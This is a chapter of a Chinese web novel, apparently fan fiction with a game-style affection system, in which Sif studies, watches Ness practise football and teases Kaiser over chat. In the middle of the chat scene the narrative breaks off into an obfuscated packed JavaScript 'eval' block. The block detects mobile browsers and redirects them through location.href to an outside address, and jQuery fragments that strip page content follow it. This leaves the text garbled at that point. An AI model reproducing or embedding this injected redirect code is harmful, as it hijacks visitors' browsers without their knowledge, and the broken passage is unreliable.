下午是选修课时间，去不去全凭自愿。若是平时的内斯，早就抱着足球溜去操场了。


    但这次他小心翼翼地问希芙：“你下午……要去上课吗？”


    “当然去！”希芙眼睛发亮。课程表上明晃晃写着「ESG与绿色金融（德语）」，这对她一年毕业的计划至关重要。


    “那、那我也去。”内斯连忙跟上。


    他以为会看到希芙像早上那样随性自在的模样。结果上课铃一响，希芙瞬间进入状态。


    老师抛出的每个问题她都能精准接住，笔记本上密密麻麻铺满工整字迹。那些让内斯头晕眼花的金融术语和环保条例，她却像饥饿的旅人见到盛宴般疯狂吸收。


    【科目更新：ESG与绿色金融（入门）】


    【熟练度：ESG与绿色金融 45%】


    看着刚过下午三点的时钟，希芙由衷感叹：“现在的学生真幸福，三点就放学。”


    “只是德国这样啦。”林晓月收拾着书包，“在我们那儿，这个点连主课都没上完呢。”


    三个选项在希芙眼前弹出：


    A.「中式教育你赢了」


    B.「高考只有一次，生命可以轮回」


    C.「学习很苦，坚持很酷」


    作为在德国教育体系下长大的本地人，希芙被这个残酷的对比震撼到了。她盯着那几个选项看了两秒，最后带着几分同情选择了A。


    林晓月噗嗤一笑：“你这人真有意思。”


    【林晓月对您的好感度+5】


    作为寄宿生，放学后的时间突然变得宽裕起来。


    两人在食堂简单吃了点东西，希芙戳着盘子里水煮胡萝卜配香肠，忍不住吐槽：“说真的，德国的饮食文化实在是灾难级别，除了香肠土豆就是酸菜猪肘。”


    内斯抿嘴笑了笑，小声说：“我、我下午要去练习踢球……你呢？有什么安排吗？”


    “我？”希芙把最后一口面包塞进嘴里，拍了拍手上的碎屑，“没什么特别的事。既然你要踢球，那我就在场边坐着看你踢呗。”


    内斯握着水杯的手指微微收紧。从来没有人愿意花时间看他踢球——家人觉得这是不务正业，同学觉得他踢球时的“魔法咒语”很可笑。


    可希芙就这么理所当然地说要去看他踢球，仿佛这是再自然不过的事。


    【亚历克西斯·内斯对您的好感度 +5】


    “真、真的吗？不会很无聊吗？”


    “总比回去对着空寝室强。”希芙已经站起身，顺手把内斯忘在桌上的训练包拎起来，“带路吧，魔法师先生。”


    *


    足球场上，内斯正在练习任意球。


    他助跑时嘴唇微动，足球在空中划出精妙的弧线，精准地钻入球门死角。


    场边，希芙正与生物课本进行着殊死搏斗。


    她脚边的椅子上已经堆了五个空咖啡罐，精神值在【-10】到【+5】之间反复横跳。每当系统提示精神值跌破警戒线，她就面无表情地开一罐新的咖啡。


    “你……就这么喜欢喝咖啡吗？”中场休息时，内斯擦着汗走过来，看着那堆咖啡罐忍不住问道。


    “茶也可以。”希芙头也不抬地翻过一页书，“只要是能让人清醒的东西我都喜欢。”


    内斯悄悄地握紧拳头——也许可以试着学做便当，每天给她带些能补充精力的饮品。


    【亚历克西斯·内斯对您的好感度 +5】


    “继续你的魔法练习吧。”希芙终于从书本里抬起头，对他晃了晃空咖啡罐，“我再攻克两个章节就回班。”


    夕阳将两人的影子拉得很长，内斯却觉得自己像株趋光植物，不受控制地朝希芙倾斜。


    每当距离超过三十厘米，他的骨骼就开始发痒。


    肩胛骨像被无形的线牵引着，脚跟会自动碾过草皮，直到手臂即将碰到她校服布料才骤然清醒。


    第五次发生这种“自动靠近”时，希芙终于合上笔记本。


    “我脸上是有什么东西吗？”她挑眉看着第无数次蹭过来的粉毛脑袋。


    “没、没有！”内斯耳尖通红地别开脸。


    他不敢说自己的皮肤正在发出尖叫，像戒毒者渴望吗.啡.般渴望着她的温度。当希芙重新低头看书时，他盯着她后颈碎发下若隐若现的肌肤，喉结轻轻滚动。


    【亚历克西斯·内斯对您的好感度 +3】


    希芙看着系统提示，突然伸手捏住他发烫的耳垂：“你该不会……”


    内斯浑身一颤，几乎要跪倒在这突如其来的触碰里。


    “是累傻了吧！身上好多汗，快点回去洗澡啊你！”


    那只手只是随意地揉了揉内斯汗湿的粉金色头发，带来的战栗却从颅顶一路窜到尾椎。他必须咬住口腔内侧的软肉，才能忍住那声幸福的呜咽。


    【亚历克西斯·内斯对您的好感度 +2】


    他晕乎乎地点头，鬼使神差地开口：“我、我很快就好……你……可以等我洗完澡，一起回教室吗？”


    话一出口他就立刻后悔，因为这种得寸进尺的要求真是太不要脸了！他怎么可以这样做！


    “对不起！太麻烦你了，还是不用——”


    “无所谓。”希芙已经重新翻开生物课本，“反正我等你的时候也能学习。”


    内斯的声音戛然而止。


    【亚历克西斯·内斯对您的好感度 +5】


    希芙看着系统提示有些疑惑。这好感度涨得……该不会是训练时撞到头了吧？


    内斯抱着换洗衣物往淋浴间跑，脚步轻快得像踩着云朵。


    他偷偷把脸埋进毛巾里深吸一口气，那上面似乎还残留着希芙指尖淡淡的咖啡香。


    等待内斯的间隙，希芙觉得一直坐在外面实在有点冷，便溜回了宿舍享受暖气。


    了解希芙的人都知道，她现实中算不上健谈，但却是个网上聊天爱好者，尤其喜欢骚扰她为数不多的朋友。


    掰着手指头算算，在此之前，她列表里能称得上朋友并能网上聊天的，大概只有中原中也一个。


    那位重力使干部不止一次被她各种没什么实质内容的废话和问题轰炸到无语，甚至扬言要拉黑她，但最终也是勉强容忍了她。


    至于凯撒……希芙点开那个刚刚添加、头像还是一片空白的聊天窗口。


    这小子大概率是那种不爱聊天的，当然也有可能他之前根本就没拥有过手机这种现代通讯工具。


    反正从分开到现在，他一条消息都没发来过。


    这怎么行？希芙手指动了动，一条信息发了过去：


    [希芙：今天有美女找你聊天吗？]


    正在熟悉新环境的凯撒感觉到口袋里的手机震动，拿出来看到这条没头没脑的消息，眉头下意识皱起，觉得这家伙真是烦人又莫名其妙。


    但……这种被人记挂着、甚至会跑来问这种无聊问题的感觉，似乎并不完全令人讨厌。


    他手指僵硬地戳着屏幕回复：


    [凯撒：没有。]


    希芙的消息几乎秒回：


    [希芙：那我算什么？]


    凯撒盯着屏幕上那句“那我算什么？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627791|187958||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，感觉耳根又开始不受控制地发热。


    这笨蛋怎么总问这种让人不知道怎么回答的问题！


    [凯撒：傻子。]


    希芙看着回复，眉毛挑了起来。这什么态度？


    [希芙：？？？]


    [希芙：难道我不算是美女吗！]


    [凯撒：你长得很蠢。]


    发完凯撒就把手机扔到了一边，好像那是个烫手山芋。


    他靠在墙上，脑子里却不自觉地浮现出希芙的样子——金色的头发，绿色的眼睛，笑起来的时候确实……挺顺眼的。


    “就是脑子不好使，”他对着空气低声补充了一句，“笨死了。”


    【凯撒对您的好感度 +10】


    希芙看着系统提示，感觉更莫名其妙了。这家伙怎么回事？一边骂她蠢，一边又偷偷加好感度？真是个矛盾又别扭的家伙。


    [希芙：中也先生说我是个美人，他的审美很好，我相信他，不相信你。]


    [凯撒：中也先生是谁？！]


    [凯撒：不相信我？相信他？那你太傻叉了！]


    凯撒盯着屏幕，一股无名火猛地窜了上来。


    中也先生？这又是从哪里冒出来的野男人？希芙居然为了一个不知道是谁的家伙反驳他？还说不相信他？


    他内心开始疯狂刷屏，把能想到的贬义词都往希芙身上套。


    这个蠢货！烂好心！没眼光！不识货！不听话！


    他气得在房间里走来走去，骂了半天，直到感觉口干舌燥，才气喘吁吁地停下来，感觉自己像个傻子。


    他疲惫地拿起手机，看到希芙不知何时回复了一个眼泪汪汪、可怜兮兮的表情包。


    凯撒：“……”


    他看着那个表情包，感觉心里那点怒火像被浇了一盆温水，呲呲地熄灭了，只剩下一种让他牙根有点发酸的感觉。


    他抿紧唇，努力维持着最后的强硬：


    [凯撒：哭也没用。]


    希芙突然觉得凯撒好老实，应该说是不经常上网的他真的看起来很淳朴，没有被网络给荼毒过的他简直就像个婴儿！


    [希芙：我发这个表情包并不代表我真的哭了呀。]


    [希芙：你也太可爱了吧。]


    [凯撒：你脑子绝对有问题。]


    发出这条消息后，凯撒把手机往床垫上一扔，决定不再理会这个胡言乱语的家伙。


    他抱起足球准备去训练，试图用物理方式把脑海里那个金发绿眼的形象赶出去。


    希芙看着突然断掉的对话，眨了眨眼。


    怎么不回了？


    [希芙：我会一直憋气到你回信息为止。]


    一分钟后。


    [希芙：虾仁饭。]


    正准备出门的凯撒听到提示音，烦躁地抓了抓头发，还是没忍住看了一眼。虾仁饭？这又是什么暗号？


    他皱着眉回复：


    [凯撒：……去死。]


    屏幕那头的希芙立刻开始撒泼打滚。


    [希芙：不是说我们是好朋友是彼此的翅膀吗！]


    [希芙：你怎么可以用三十六度的体温说出这么冰冷的话！]


    [凯撒：我没说过。]


    这家伙到底在哪里学的这些乱七八糟的话！


    [希芙：我不管！你默认了！]


    [希芙：（猫咪打滚.gif）]


    [希芙：翅膀先生，理我一下嘛！]


    [希芙：我再也不要喜欢你了，你这个冷酷的男人！]


    [凯撒：你喜欢我？]